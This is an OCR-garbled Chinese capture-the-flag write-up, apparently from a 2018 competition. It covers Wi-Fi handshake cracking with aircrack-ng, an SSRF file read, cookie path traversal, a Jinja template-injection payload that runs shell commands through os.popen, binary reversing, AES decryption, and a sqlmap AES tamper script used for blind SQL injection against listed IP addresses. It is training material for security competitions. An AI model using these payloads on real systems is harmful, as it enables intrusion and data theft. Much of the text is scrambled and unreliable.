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1. B H&MISC Disk

fif R BB . A RAAS AFlagBi A :
010Editor F &%, flag is not here4rtira.d.sfg — i, REUHK, KIN

0 00|11 00
61 00 0 00 00 01 10 01 10 01 10 11 00
01 10 00 ¢ 10 01 11 01 00 ¢ 00 00 00 00
FF FF FF 1

1]
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01100110

01101100

01100001

01100111

01

11101100

11010001

00010001


https://blog.csdn.net/lycnjupt
https://blog.csdn.net/lycnjupt/category_8359982.html
https://blog.csdn.net/lycnjupt/category_8359982.html

01001101

01

11110011
00010110
11100101
11110100

01

00001100
01011100
11011010
11011111
01

B RflagF R, JEEHFEII A convert, f# 15 7 B



[ Converter T I W W | o S

ot ERlAls T B &t 1B B
. i (FAG1E ]
- iERER 0111710711001 71070001 00010001010011010111110011000101101110010 -
Testto Hex Hesx to Text 11171707 Q007 0000110001 0711 001107101011 071111101
Dec to Hex Hes to Dec
Textto Dec Dec to Text
Dec to Octal Octal to Dec
Textto UTFY LUTFY to Text
Hes o UCS2 CS2 to Hex
Text to Binary Binary to Text
Ezcape Unezcape
Encode HTML | Decode HTML
Text to Bazebd | BazeBd to Text
Hesto BazeEd | BazeBd to Hex
e A
o AT |
ROT ER =
SHIFT» I 1 Gl | Hit BEHR{E):
RS M =% 405 1n_D ek} A
Eigalilits| 1 Dalim.
{REFTE E b
25 |
[ =xma [2 &8
Finfud [T
Swap |
[ =xma [2 &8
Finfud [ @[
it B HIBIEmR
B
2HER | v

5 Hiflag{4DS_1n_D1sk}

1. B HAZMISC FLOW

fE R . A RACRS AN Flag#h /& -
fipe L i JE



o Il ST ERT cop e

F oA e

[P ]

aircrack-ng.exe *.cap faEcapE(EE

5t W
a™

aircrack B {ERE aircrack-ng.exe *.cap -w wordlist.txt

EARwpa=ig

airdecap-ng.exe *.cap -e 0719 -p 123456
FIRRESSIDHIWPASTEIH{TRES

&

1.aircrack-ng ctf.pcap -w mima.txt#i 1 2 #5% password 1

i ufDeskfup# s
pcap curl mima.txt output22 twowukong.jpg.png
Desktop# aircrack-ng ctf.pcap -w mima.txt
Opening ctf.pcap
Read 13712 packets.
# BSSID ESSID Encryption
1 82: :SE:BE:BB ctf WPA (1 handshake)
Choosing first network as target.

Opening ctf.pcap
Reading packets, please wait...

Aircrack-ng 1.2 rcd
[e6 8] 1/0 keys tested

Time left: @ seconds

Master Key

Transient Key : 4E 3F 13 B FC 11 6B 40 2C
B4 C1 43 6F D9 1A 24

2.airdecap-ng ctf.pcap -e ctf -p password1 ESSIDNCTF, #iiHctf-dec.pcap
B &RflagRBER



M cif-decpcap - - - - - - 5 = == .

10}

dAm @ JDRE Qe==74=DaQan
(NEAETdEE -~ Tol-/>
[ﬁj\gﬂ$%Eﬁ - ] [ﬁj'E '] [ ER#IE [$ﬁ‘$' M Wireshark - Request URI Query Parameter (http.request.uri.query.parameter) - ctf-dec -
Ha Time Source I
237 11.687615 192.168.43.86 1 Sea"!ch:
238 11.687615 192.168.43.86 1
239 11.773123 192.168.43.1 1
248 11.776191 192.168.43.86 1
241 11.777733 192.168.43.1 1
242 11.781824 192.168.43.86 1
243 11.812610 192.168.43.1 1
r 244 11.815679 192.168.43.86 (|
! 245 11.815680 192.168.43.86 {
! 246 11.821315 192.168.43.1 (|
247 11.859203 101.200.172.135 l
248 11.868735 192.168.43.86 (|
249 11.861248 192.168.43.86 l
! 254 11 RTASRY? 192 168 43 1 i

4 GET /search/?search=flag{H41f_ 1s_3nBugh} I-I'I'I'Pll.l\ll
> [Expert Info (Chat/Sequence): GET /search/?search|
Request Method: GET
4 Request URI: /search/?search=flag{H41f_1s_3nBugh
Request URI Path: /search/
4 Request URI Query: search=flag{H41f 1ls 3nBughl}
|Request URI Query Parameter: search=flag{H4l|

8F 245, Fequest URI Query Peremeter (Bttp request. uri. query. paramcter); 37 FH.

woM (% ~| & [pacm -

<

8048 68 2f 3f 73 65 61 72 63 68 3d 66 6c 61 67 7b 48 .
34 bc b6 5f 31 73 5f 33 6e 3@ 75 67 68 7d 208 43 g

54 54 58 2f 31 2e 31 @d @a 48 &f 73 74 3a 28 73 E
65 61 72 63 68 2e 66 72 65 65 62 75 66 2e 63 bf
6d @d @a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d “euEwUser=TEAgETE
6f 7a 69 6c 6c 61 2f 35 2e 30 28 28 57 69 6e 64  ozilla/5 .8 (Wind

&) 2018 "MENRET M x '\-,z_;; 80211ZHEANHctf frec x| | g CTF| 58, —8@HE % T Signin - Progressus Bor x| [@ CTF misczmEntEs = | [@

# | €= | (D) hxb.erangelab.com/index [ &= @ Q ==

& 2spE @ s @ tuFs B 2EfcEESE wE.. & TEAML: & WhaleCTF & 22ZT3=L '™ BughuCTF - £3F4 @ MEtSlb=|RE.. &f*

MISC F[c_aw

1 200 27 MISC

F8  REWE, ZGpEe @) FEER

http://hxb2018.0ss-
6803.zip

[307A6TE4A428602FT22E

Flag : | flag{H4If_1s_3n0Ough}

/blog.csdn.net/lycnjupt

1. M H 4 Read flag

fE R . A RACRD A Flag#k & -

Vi 18] B 7 ;ssrf me with parameter 'url', Bl b BB #i&url=?, Bid 2 Hrssrifeifl &I iZ RS 85 & A PR &, 13
Flbp/@a, RILAT LA FHfileril.

Mi&payload: http://47.107.237.27/?url=file:///var/www/htmi/ssrf/flag



W AULD  OAMHPT  PNESERTEIES R | W SSIT_HEEREE Fo| WA CEBERINCEAR - NANFel - (5 R | 40 LU LN CUNSTIE fyvar A

# (- .® 47.107.237.27 /2url=file://fvar fwwrw/html /s flag ¢ @ Qeg=
& 253E @ =t @ aiEs W —EfeEBE R, & TEAM Lz # WhaleCTF & Z25T%=1 ﬁ BughuCTF - 83Fs @ Mmerihs Mg
1xb2018{0ef0c0d15flallb47af2a01669fbf124}

1. & H & MyNote

LR A SRACRS A Flag#h /& -

EMERERKS, HEEK, 8, KIPicture=2itbaseb4ffid AR FHL 748, Bt EAR K
11.jpg, T LLiEEE 2lflag

[l Burp Suite Prof_e_ﬁioﬂvl..- Tem‘.Projeé‘nsed to Lammy_Lau - Unlimited byrnxcx@iosec.“ m wlg

Burp Intruder Repeater Window Help

o

[ Target ]' Proxy T Spider ]' Scanner ]' Intruder Tﬂepeaier T Sequencer ]' Decoder ]' Comparer I Extender ]' Project options. ]' User options. ]' Alerts ]

1= |2 =% |3 = | 4=

Go cancel [ < |v J [ >\ J [ Follow redirection J Target: http:/120.78.215.151 E’J @

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
FET Aindex . php/picture HTTP/1.1 & HTTP/1l.1 30Z Found A
Host: 120.78.215.151 - Date: Sun, 18 Now 2018 02:I20:52 GMT -
User-Agent: Mozilla/5.0 (Windows NT &£.1; WinE4; =xE4; rv:LE.0) Server: Apache/Z.4.25 (Ubuntu)
Gecko/I0100101 Firefox/56.0 Expires: Thu, 19 Nov 1581 08:5I2:00 GMT
Accept: text/html, application/xhtmltxzml, application/xml;q=0.9,*/*;q=0_8 Cache-Control: no-store, no-cache, must-revalidate
Accept-Language: zh-CH,zh;q=0.8,en-US;q=0.5,en;q=0.3 Pragma: no-cache
Pefererpbitnelolo0 Sl bl i 5, 'S Location: login
Cookie:l Pict,ura=YTOant,ijA'?czo:Di'IxIEJ.Sc[r_'GciDSD%SD; I Content-Length: 0
PHPESESSID=4t55g5iTob9nijk8shusf9dbhsll Connection: close
Commection: close Content-Type: text/html; charset=UTF-8

Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

THARD W WISl FA L ALLAL | A B ERIETY S AT R e YT el LAV L 5 VWIS T W ESSE ] WY FT DUy RuUbll T ERCD LR

- |=|# SQL- XSS+ Encryption Encoding- Others
ad URL a:l:{i:{];s:ﬁ:'ll.jp-g';}l

it URL

ecute

[7] Enable Post data [_| Enable Referrer

T I

ta:1:{i:0;5:6:"11.jpg"; }Na:1:{i:0;s:36:"../../../..]..Ivarlwww/html/flag.php";}, E£Hflag, ¥ baseb4#3Z



"B Burp Suite Protessional v1.7.26 - Temparary Project - licensed to Larry_Lau - Unlimited by mxcx@iosec.vn. - - ‘ ‘ === ]

Burp Intruder Repeater Window Help

[ Target T T Spider T Scanner I Intruder ]’ Repeater T Sequencer T Decoder T Comparer I Extender T Project options T User options. T Alerts ]

1= |2 =% |3 = | 4=

le=t

Go Cance l < | J l > | J l Follow redirection J Target: http://1120.78.215.151 L«&‘J L?J

Raw | Params | Headers | Hex Raw | Headers | Hex
CET findex. php/picture HTTP/1.1 A HTTP/1l.1 30Z Found A
Host: 120.78.215.151 - Date: Sun, 18 Now 2018 02:I20:52 GMT -
User-Agent: Mozilla/5.0 (Windows NT &£.1; WinE4; =xE4; rv:ELE.0) Serwver: Apache/2.4.25 (Ubuntu)
Gecko/I0100101 Firefox/56.0 Expires: Thu, 19 Nov 1581 08:5I2:00 GMT
Accept: text/html, application/xhtmltxzml, application/xml;q=0.9,*/*;q=0_8 Cache-Control: no-store, no-cache, must-revalidate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0_3 Pragma: no-cache
Pefererghttn. Bl M} = Ml - -5 WFEEY- | plhninot Location: login
Cookie: Pict,ura=YTOxC-nt,pC-jA'?c'zo:C-ile‘xj.Sc[r_'Gc'iC-‘BD%‘BD; I Content-Length: 0
PHPSESSID=4t55¢g5i7c59nik8shusfSdhsll Connection: close
Comnmection: close Content-Type: text/html; charset=UTF-8

Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

5 3|Baseb4 N &, fR#%1S HKflag
U O

v| = @ SQL- XSS+ Encryption Encodings Others /
Load URL  =7php

SplitLRL $flag = "hxb2018{445b40b69867325f6145ecale7 TicBel}";

Execute echo "flag{This_flag_iS_A_Fdke_flag}":

I e

1. B H4%web XmeO
R . MR AFlag# & .
2R B Fadmin ZiGadmin® F I, addi i Fpayload, sidishowtiflag
{

"™ __class_._ mro__. getitem (2)._ subclasses_().pop(59).__init__.func_globals.get('linecache').os.popel
/home/XmeOltest.db').read() }}
4 m 3

€ | > | © 47.106.85.5

¢ @ | S B #%)l v
R
Bzt @ otuFes B cEfeEEaAmE.. © TEAM Lz & WhaleCTF o ZeET#HL W BughuCTF - 5355 @ MEnesls|MiE.. w—N( ~Jarvis/O) 3 CTFERSMAIPHPAL...

‘ progressus SIGN IN / SIGN UP

0k 0o Am

No Jfif
1

S 1fF

o

154253056778
_ class . mro . getitem (2). subclasses () pop(59). init func globals get(linecache’).os popen('ls
/home/XmeQ/test db").read() 1}

2 hellww 1 1542530658.58
3  sasa 1 1542530674.41




@ 2018 "HEHERT" RifEZRei x| 47.106.85.50:9990/showfecfb: x| FiRER x | 4+ %
H € | () 47.106.85.50:9990/show/ecfbael2-eb0d-11e8-83cf-00163204386b ¢ @ g

8 2=pnr @ FFELE @ binFa B SEAAREARE.. ¢ TEAML: & WhaleCTF & £28T%W P BughuCTF - 53F5 @ RaSesl= . Q“{iﬁf“
Binary file /home/XmeO/test.db matches /fhome/XmeO/auto.js:26: 'value' : [pasrieibdieEERRe bl s la s BIme e p e Lol e ooy |,

1. & H 4 Hidden Write

R R . MR FFlagiE:
B H010editora B =5k B Fr, i Hzsteg, i 4rflag, https://github.com/zed-0xff/zsteg
|

, » longmao_1C7143384F6FBAFECADE2E7DA432FIBD - FEEE longmao 107143:
H2EEH v HE - ity e =
H M
longmac000 o FotFEall
1 a=
it st o |1 e e+ s e <o | v . 1 o
€ | 9 | (D 47106.85.50:9990 | @ Q= T o 00, #2 7

bzt @ otoFs B oEifeEREANE.. & STEAM L: & WhaleCTF o Z2=FEU B BughuCTF - 5378 @ MFReol=|ME. . cx\v- anid0) W CTREIAPHPAL..

‘ progressus SIGN IN / SIGN UP

2
Y
[ = |
=
No J&@if A | 12
1 { 0 1542530567.78
™ _class__._ mro__._ getitem_ (2)._ subclasses__ ().pop(59)._ init__func_globals get(linecache’).os popen(’ls

/home/XmeQ/test db").read() }}

2 hellww 1 1542530658.58
3  sasa 1 1542530674.41

7£ 18 FABlindWaterMark-masteri2 BX 5 /K ED & A,

https://github.com/chishaxie/BlindWaterMark


https://github.com/zed-0xff/zsteg

Btz i flag:hxb2018{b03bca1dbca1662e632ffa5bbefe4a50}

1. B H % Replace

R BB MRS AIFlag# &l :

RKIBHE:

[ PEiD v0.95 = e 2 ]
W [ \UzersiLI\Desktop'Replace Be1DASEZF1TZC13T64959DFOFIY
MO 0007020 EF FR: UFX1
SI{HmIE:  poooiizo B=T: [0, BE 00,70
BN 12,0 FESR: Win3Z conszole
FESni ffer: UFX +0.89.6 - +1.02 / v1.05 - +1. 22

FELDDSCAN: [UPX 0.69.6 - 1.02 / 1.05 - 2.90 -» Markus & Laszlo

FriRw] EEgew] [(VEEE | [ &
[ S8 © (#Ro | [ Ffw ) [ &2 ]

15 A kali F Byupxfii 5% T B it 5%

%5 F IDAIT FFE 7 R B o< R i check B 3, check®#iR BI{E H1, EIFI1S.

FEIDA 2 2 < 52 iK1 d1Ad2 58 T B,

g.csdn.net/lycnjupt



-rdata:88482125
.rdata:B88482128
-Fdata:-88482134
-rdata:-88482134
-rdata:ea4e2141
-rdata:88482158
.rdata:B88482151
-Fdata:-88482152
-rdata:-88482152
-rdata:-884082197
-rdata:884821A80
.rdata:Be8ua21a1
.rdata:B884821A2
-rdata:-884821A3
-rdata:-884821Aa4
-rdata:884821A5
.rdata:B884821A6
.rdata:884821a7
-rdata:-884821A8
-rdata:-884821Aa9
-rdata:884821aa
.rdata:884821AB

aWlellDone
;5 char aYou
a¥ourlrong

byte_ 482158

byte_ 482151
ah9F69c3839

byte_4821A8

00000FA3 0000000000402183: .rdata:l]ﬂ4021k3

.rdata: 88482295
rdata: 08482296
.rdata:08482297
.rdata:08482298
.rdata:aehaz299
.rdata: 88482294
.rdata: 08482298
.rdata:a848229C
.rdata:0848229D
.rdata:8ehaz229E
.rdata:8848229F

.rdata:a84822A4
.rdata:08482208
.rdata:a84822AacC
.rdata:884822B8
.rdata: 88482284
.rdata: 08482288
.rdata:084822BC
.rdata:ae4822ce
.rdata:884822CY
.rdata:08p4822C8

.rdata:064022A0 _ load_config_used
o

align &4

db 'Well Done!®,BAh,0
rUrong[ ]

db ‘Your Wrongt?',BAh,B8

DATA XREF: main+6270

DATA XREF: _main:luc_uﬂ1369fu

32h
db 61h

‘ae6g” ,8

DATA XREF: sub_481898:1loc_4B18CCTr
DATA XREF: sub_u481898:1oc_4B1BE9Tr

"4OF69c38395cde?6d6de?6dG6F e B25 8405 d61950848defbe2dad67 78602 1d5ad”

db 7Ch ; |
db 7¥h ; w
db 7Bh ; {
db BFZh ;
db 6Bh ; k
db 6Fh ; o
db BC5h ;
db 36h ; @
db 1

db 67h ; g
db 2Bh ; +

1

DATA XREF: sub_u4B10898+827r

d2

di

db 42h ; B
db 68h ; h
db 4ih ; A
db 99h
db 2Dh ; - dz
db  @Fh
db 8BBh ;
db S4h ; T
db 8BBh ;
db 16h
dd 48h ; Size
) TTINg Stamp
du 2 dup(@) ; Version: 8.8
dd @ ; GlobalFlagsClear
dd @ ; GlobalFlagsSet
dd 8 ; CriticalSectionDefaultTimeout
dd @ ; DeCommitFreeBlockThreshold
dd @ ; DeCommitTotalFreeThreshold
dd 8 : LockPrefixTable
dd 8 ; MaximumAllocationSize
dd @ ; VirtualHemoryThreshold

000010A8 00000000004022R8: .rdata:004022R8

MAIBITERAT

L S— S T -~ T
L& Ryahon 2.7.11 Shell
fie Edit Shell - Debug  Options  Window - Help
HDE] on wands
Tspe "copreight”, "credite” or “licensed}” for more infermation.
>
;== EESTAET: Ci/Vdarad tdnniatrator/Desktop/ CTEERE /201 8 ¥/ code_vd, py ==
1
1
k|
1
n
1
]
1
3
1
£
F
1
]
i
]
?
1
a
3
a
i
[
d
P
2
Lr: 40 Col:

File Edit Format Run Options Window Help

= |

dl =
d2 = [OxE3, OxTC, OxiT,
=[D for x in '.a:u:efiESj
1=0

codivig: TIF<8 =4

[oz 3. -n cangeld5):
1oL ranpe(
rli] =2
whi= ¢ [1]
W= O VN6
1= {1 dub: 816
wi=dl [2=]]
Tl € df-or wB > BT
wh=vE-ET

wE=vB-4E
wifd] [225+1]
wll=lG+wa
1T wl0<dE nor wID > &T:
wli=wl0-27
ilxel
wl2=wl0-45
o g [1GaeEtaT

peaal ehe(e[a1D i

2]

=

= [ [wll+wlZ) "OxlBiz

bxDL,

[Dx32, OxEl, Dx34, Ox39, Dx66, Ox35, Dx39, Dx83, 0x33, O0x38, 033, Ox39, |

Ox78, OxF2, [x&B, CwdF, [xC5. [x30, 0x67, 0x2ZB, 1

Ln: 28




flag{Th1s_1s_Simple_Rep1ac3 Enc0d3}

1. B H4: Common Crypto

fE R A RACRS AFlag#h & -

BB ®BEWA—Mag, RJE — AR LAIIE, ZhaA IR 28— >sub_140001000 8k #, % I B #4T1X —
L E R B, T BRA T — AN, R IR —aesh, g RAESHNE

0@ x| B mass B | B =EsEn B Hex -1 A g E - - FE  HAE # sSix
Locals L _rdata:0b4020FE off_4O20F8 dd offset dword_403038
-rdata: 80482 BFC dd offset dword_L4B3B888
1084 00000034 _rdata:BB402100 ; char Format[]
JOAB 00000004 _rdata:ABLAZ100 Format db 'Welcome The System’,8fh
Y00F .rdata:pe402100 db ‘Please Input Key:',®
1165 00000030 L _rdata: 06402125 align b
J00A 3 _rdata: 00402128 aWellDone db *Well Donet?*,B6ah,8
03D 00000004 _rdata:Be402134 ; char aYourWrong[]
JOFB 00000328 .rdata:BE402134 a¥YourWrong db "Your Wrong?!',BAh,B
040 00000004 _rdata:oeup2141 align 16h
1006 .rdata: 06402150 byte_ 482158 db 32h
Y006 .rdata: 86402151 byte 402151 db 61h
043 00000010 _rdata:pA4B2152 ak9F69c3B395cde db '49FA9cA8395cdedbdsdedbdsF e B254BA954d6 19544 de For2dadh7786021d5ad "
JOBA 0000002C .rdata: 08402152 db “aeé’,8
031 00000004 _rdata:BBup2197 align 1Bh
09C 00000020 .rdata:peue21n0 byte_4021A0 db 63h
)003 _rdata:884821a1 db 7Ch ; |
J0AZ 00000038 _rdata:oeuez1n2 db 77h 5w
Y015 00000004 _rdata:084821A3 db  7Bh ; ¢
020 00000008 .rdata:ppue21aL db BF2h ;
020 00000008 N _rdata:084021A5 db  6Bh ; k
NG — - -rdata:Beue2106 db  6Fh ; 0
37 00000F41 0000000000402141: .rdata:00402141

RILT-FF F149f69c38395cde96d6de96d6f4e025484954d6195448def6e2dad677
86e21d5adtb e, T AR, b Bl 2 BATE K Kkey, B EARE Fr ELB B 7145 85 I BT 324> 5 B AT

>>> 5 = '4dd78cfbcfcldbd9e8f31715bF9¢346435316565363661623136353863303733"
>>> from Crypto.Cipher import AES
>>> aes = AES.new( '1B2E3546586E72869BA7B5C8D9EFFFOC' .decode( 'hex'))

>>> aes.decrypt(s[:32].decode( hex"))+s[32:].decode( 'hex")
"hxb2018{3d39929451ee66abl658c073"
>>>

A 2lflag: hxb2018{3d39929451ee66ab1658c07 3} RIFE 7+ B 1 K il IE 7 «
(=[O ]

—
[ C:\Usefs\U\Desklop\crypto_ZABDSlDSTBMSBDMBFMDCD?A\CWPTO.E:(E
i . . d— - -

Please enter flag:hxh2818{3d3972945%1eebbabl658cA73
zuccessful?
please entry any key exit..._ m

m

WERIFEIEN, IdF

B THAE: listzp, BEAIRNSE


http://39.108.176.234:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09
http://39.108.176.234:49882/news/

sktop\listphp - EditPlus == ==

WEM BEEQ ED) IEE I8D MEHE) Zen Coding@ HOMW) FEEIH) _|=
EAR MR = | £ % @ | A i [FEEV | D[E A E k2ue » bb

=

e i | A v 8P| 9 | ET| B T

= |»

°r1: 1n1t(vta, T uK&',‘E' 19,
ode (basedd_de

1')r
($data)))s

‘ rrc:ry'pt
tdata -= -mdecrypt ¢ gﬂnﬂrlctqta b
mcrypt_generic_ dﬂlnlt(?tﬂ
mcrypt_module clo
if{substr(trim($
echo -"<scrip
lelae{
return -substr(trim{fdata),0,strlen{trim(fdata))-7);

"/index.php";</script>';

nk->query ($agl);
>fetch_assoc():

<!DOCTYFE -html>

<html -lang="en">»

<head>

<meta -charset="UIF-8">

<titlexX& FJHREZVL. 0</title>

<style>.body{width: ;height:500px;margin:0 -auto}.title{celor:red;height: 60px; line-height:60px; font-size:30px; font-weight
s0lid -red;text-align:center}.content, .title{margin:0

auto;widch: 600px;display:block).content{height:30px;line-height:30px; font-size:18px;margin-top: 40px; text-align: 1
</head>

<body>

<div
<div
<div
</body>
</html>

smargin-top:75pt;border-bottom: 2px

2}<fatyle>

12></div>
nt']es/divy

a5 B AES, B kbaseb4

%% Htamper

idaesencode.py
basebgd
Crypto.Cipher AES
lib.core.enums PRIORITY
lib.core.settings UNICODE_ENCODING

_priority = PRIORITY.LOW
T dependenc

def tamper(pa) :
aes('ydhaqPQnexoaDulW3', "20182019208202021"' ,payload+ "hxb2818")

AES.new(key,ﬂEﬁ MODE_CBC,iv)

count = len(text)

add (count % 1

text text + (' . add)

aesRes = obj.encrypt(text)
base64.b64encode(base6d.bb6dencode(aesRes)) http

sqlmapiE A 15 2lflag:hxb2018{14ef3bd9a833a50b7ae24bbb0e4d57c8}



Parameter: id (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: id=(SELECT (CASE WHEN (6816=6816) THEN 6816 ELSE 6816*(SELECT 6816 FROM INFORMATION_SCHEMA.PLUGINS) END))

17 ] changes made by tampering scripts are not included in shown payload content(s)
] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.5.38
back-end DBMS: MySQL >= 5.8
] fetching database names
] fetching number of databases
] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
retrieved:
retrieved:
retrieved:
retrieved:
] retrieved:
available databases [4]:
information_schema
mozhe_discuz_stormgroup
mysql
test

17 ] fetched data logged to text files under 'C:\Users\Andy\.sqlmap\output\39.168.176.234"

shutting down at 19:19:32
hitps:/blog.csdn.net/lycnjupt

Parameter: id (GET)
Type: boolean-based blind
Title: MySQL >= 5.8 boolean-based blind - Parameter replace
Payload: id=(SELECT (CASE WHEN (6816=6816) THEN 6816 ELSF 6816*(SELECT 6816 FROM INFORMATION SCHEMA.PLUGINS) END))

17 ] changes made by tampering scripts are not included in shown payload content(s)
] [INFO] the back-end DBMS is MySQ

web application technology: Nginx, PHP 5.5.38
back-end DBMS: MySQL >= 5.8
] fetching tables for database: 'mozhe discuz stormgroup’
] fetching number of tables for database 'mozhe_discuz_stormgroup’
] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
] retrieved:
] retrieved:
]

retrieved:
] retrieved:
: mozhe_discuz_stormgroup

notice
notice2
stormgroup_member

I 7 ] fetched data Logged to text files under 'C:\Users\Andy\.sglmap\output\39.108.176.234"

*] shutting down at 19:20:42 .
[*1 g https://blog.csdn.netlycnjupt

Parameter: id (GET)
Type: boolean-based blind
Title: MySQL »>= 5.8 boolean-based blind - Parameter replace
Payload: id=(SELECT (CASE WHEN (6816=6816) THEN 6816 ELSE 6816*(SELECT 6816 FROM INFORMATION_SCHEMA.PLUGINS) END))

I ] changes made by tampering scripts are not included in shown payload content(s)
] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.5.38
back-end DBMS: MySQL >= 5.8
] fetching columns for table 'notice2' in database 'mozhe_discuz_stormgroup’
] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
retrieved:
retrieved:
retrieved:
retrieved:
retrieved:
: mozhe_discuz_stormgroup
: notice2
[2 columns]
+--- = R B i +
| Column | Type

| int(4)
| varchar(208) |
11 ] fetched data logged to text files under 'C:\Users\Andy\.sqglmap\output\39.108.176.234"

[*] shutting down at 19:21:23
hitps://blog.csdn.net/lycnjupt
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